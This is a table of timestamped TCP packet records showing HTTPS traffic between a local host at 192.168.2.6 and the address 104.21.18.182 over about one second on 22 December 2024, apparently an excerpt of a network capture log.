Dec 22, 2024 13:42:16.743194103 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.744342089 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.744389057 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.745227098 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.745296955 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.746119022 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.746186018 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.747057915 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.747114897 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.747822046 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.747880936 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.749419928 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.749479055 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.750236034 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.750283003 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.751077890 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.751123905 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.751983881 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.752038956 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.752759933 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.752816916 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.752847910 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.752898932 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.753526926 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.753582954 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.755181074 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.755242109 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.756964922 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.757030964 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.757759094 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.757817030 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.758646011 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.758707047 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.759435892 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.759497881 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.761037111 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.761099100 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.762696981 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.762754917 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.767839909 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.767858982 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.767925024 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.767956018 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.767998934 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.768022060 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.773158073 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.773211956 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.773252010 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.773263931 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.773288965 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.774125099 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.774184942 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.774199963 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.774286032 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.775789022 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.775856018 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.776607037 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.776639938 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.776671886 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.776690960 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.776715040 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.777338982 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.777389050 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.777403116 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.779133081 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.779192924 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.779206038 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.788810015 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.788866997 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.788880110 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.788934946 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.789280891 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.789341927 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.858714104 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.858824968 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.859678984 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.859750032 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.941188097 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.941207886 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.941303968 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.941324949 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.941446066 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.941984892 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.942082882 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.943778038 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.943896055 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.944766045 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.944907904 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.946223974 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.946410894 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.948081017 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.948196888 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.949505091 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.949620962 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.955300093 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.955322027 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.955389023 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.955389977 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.955408096 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.957020998 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.957143068 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.957156897 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.957901955 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.958039999 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.958053112 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.958149910 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.959640026 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.960066080 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.961256981 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.961325884 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.962507963 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.962881088 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.964035988 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.964149952 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.964163065 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.964241028 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.965989113 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.966063023 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.967473030 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.968005896 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.968305111 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.968404055 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.970035076 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.970294952 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.971692085 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.971854925 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.973176956 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.973275900 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.974837065 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.974975109 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.980751991 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.980914116 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:16.981924057 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:16.982064962 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.050972939 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.051063061 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.051867962 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.052032948 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.129703045 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.129906893 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.131511927 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.131689072 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.132358074 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.132733107 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.133917093 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.134985924 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.135596991 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.135809898 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.136461973 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.136617899 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.137213945 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.137412071 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.138849974 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.138974905 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.139810085 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.140129089 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.141491890 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.141788960 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.143040895 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.143110037 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.144648075 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.144773960 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.146481991 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.146900892 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.152604103 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.152621984 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.152837038 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.152856112 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.157705069 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.157727957 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.157874107 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.157891035 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.163517952 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.163533926 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.163886070 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.163902998 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.173172951 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.173192978 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.173321962 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.173321962 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.173341036 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.215426922 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.321995974 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.322019100 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.322148085 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.322148085 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.322163105 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.322273016 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.322823048 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.322932959 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.324381113 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.324477911 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.326011896 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.326225042 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.326872110 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.326967955 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.328603029 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.328768969 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.330226898 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.330353022 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.332664013 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.332783937 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.334440947 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.334547043 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.340363026 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.340380907 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.340538025 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.340553999 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.342940092 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.343105078 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.343117952 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.345318079 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.345494986 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.345508099 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.347218037 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.347285986 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.347301006 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.349019051 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.349129915 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.349143982 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.349875927 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.350047112 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.350060940 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.350126028 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.350744009 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.350909948 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.353017092 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.353137016 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.354795933 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.354927063 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.356355906 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.356458902 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.359071016 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.359302998 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.359330893 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.365380049 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.365463972 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.365478039 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.418642998 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.435103893 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.435280085 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.436141014 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.436289072 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.436295033 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.436306000 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.436352968 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.514539003 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.514808893 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.516289949 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.516406059 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.518781900 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.518872023 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.520788908 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.520884991 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.523101091 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.523216963 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.524643898 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.524750948 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.526441097 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.526526928 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.532105923 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.532125950 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.532246113 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.532254934 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.532351017 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.537946939 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.537965059 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.538156986 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.538165092 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.538403988 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.541635990 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.541673899 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.541697979 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.541704893 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.541783094 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.544209003 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.544280052 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.546627045 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.546716928 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.548321962 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.548432112 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.550775051 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.550841093 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.551744938 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.551836014 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.558439016 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.558501959 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.630186081 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.630372047 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.630609989 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.630780935 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.707567930 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.707782030 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.707792044 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.708476067 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.708836079 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.708844900 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.709836960 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.710880041 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.710886955 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.711819887 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.712007046 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.712014914 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.714339972 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.714504957 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.714513063 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.715893030 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.716001034 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.716012001 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.716330051 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.716799021 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.717036963 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.718635082 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.718877077 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.719739914 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.719877958 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.721940041 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.722157001 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.727509022 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.727526903 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.727689028 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.727696896 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.727837086 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.732991934 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.733010054 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.733186960 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.733195066 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.733323097 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.733784914 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.733922005 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.735444069 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.735634089 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.736279011 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.736433983 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.738857985 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.738996029 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.741277933 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.741712093 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:17.743762970 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:17.743985891 CET	49720	443	192.168.2.6	104.21.18.182
